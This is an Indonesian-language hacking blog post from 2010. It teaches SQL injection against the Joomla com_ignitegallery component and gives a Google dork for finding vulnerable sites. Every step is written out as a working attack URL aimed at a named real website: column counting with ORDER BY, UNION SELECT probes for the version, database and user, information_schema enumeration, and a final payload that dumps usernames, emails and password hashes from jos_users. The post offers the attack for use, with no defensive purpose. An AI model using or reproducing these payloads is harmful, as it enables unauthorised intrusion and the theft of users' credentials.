|- For help with a command, type '

[@xterminal-island ~]$ : posts

Dork : com_ignitegallery

1 comments | 16 July 2010

Sedikit ilmu yang saya dapat ya kk kalau salah mohon di koreksi lagi Malu

cari di google dengan dork nya begini :

Quote:allinurl:option=com_ignitegallery

Contoh nya kayak gini ya

http://bkengland16.com/index.php?option=...gallery=12

Kasih tandah petik di belakang URL nya (')
Sekarang kita cari jumlah field nya

Quote:contoh:
http://bkengland16.com/index.php?option=...gallery=12 order by 1--
http://bkengland16.com/index.php?option=...gallery=12 order by 2--
http://bkengland16.com/index.php?option=...gallery=12 order by 3--
http://bkengland16.com/index.php?option=...gallery=12 order by 4--
http://bkengland16.com/index.php?option=...gallery=12 order by 5--
http://bkengland16.com/index.php?option=...gallery=12 order by 6--
http://bkengland16.com/index.php?option=...gallery=12 order by 7--
http://bkengland16.com/index.php?option=...gallery=12 order by 8--
http://bkengland16.com/index.php?option=...gallery=12 order by 9--
http://bkengland16.com/index.php?option=...gallery=12 order by 10--
http://bkengland16.com/index.php?option=...gallery=12 order by 11--
Nah error nya di nomor 11-- nih

Nah sekarang kita lanjut Tkp

cari angka ajaibnya jangan lupa kasih tanda strip (-) diawal angka parameter id dan ditambahkan perintah seperti contoh di bawah ini Ngakak

Quote:http://bkengland16.com/index.php?option=...allery=-12 union all select 1,2,3,4,5,6,7,8,9,10--

cek versinya karena yang keluar angka 3 tulis perintah @@version diangka 3

http://bkengland16.com/index.php?option=...allery=-12 union all select 1,2,@@version,4,5,6,7,8,9,10--

Nah sekarang kita lihat database nya. lanjut coy

http://bkengland16.com/index.php?option=...allery=-12 union all select 1,2,database(),4,5,6,7,8,9,10--

Mari sekarang cek user nya

http://bkengland16.com/index.php?option=...allery=-12 union all select 1,2,user(),4,5,6,7,8,9,10--

Nah cek User sudah sekarang mari lanjut ke cek Table nya

http://bkengland16.com/index.php?option=...allery=-12 union all select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--

cek column jangan lupa covert dulu username pakai hexa misal jos_user jadi seperti ini : 6a6f735f7573657273
Convert nya jangan malas muter2 mbah google ya

http://bkengland16.com/index.php?option=...allery=-12 union all%20select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6a6f735f7573657273--

Sekarang yang terakhir nih kan dah ketahuan semua nih.Tinggal Exploit aja deh Langsung ke buru ngantuk nih

http://bkengland16.com/index.php?option=...allery=-12 union+all+select+1,2,group_concat%28id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usertype%29,4,5,6,7,8,9,10 from+jos_users--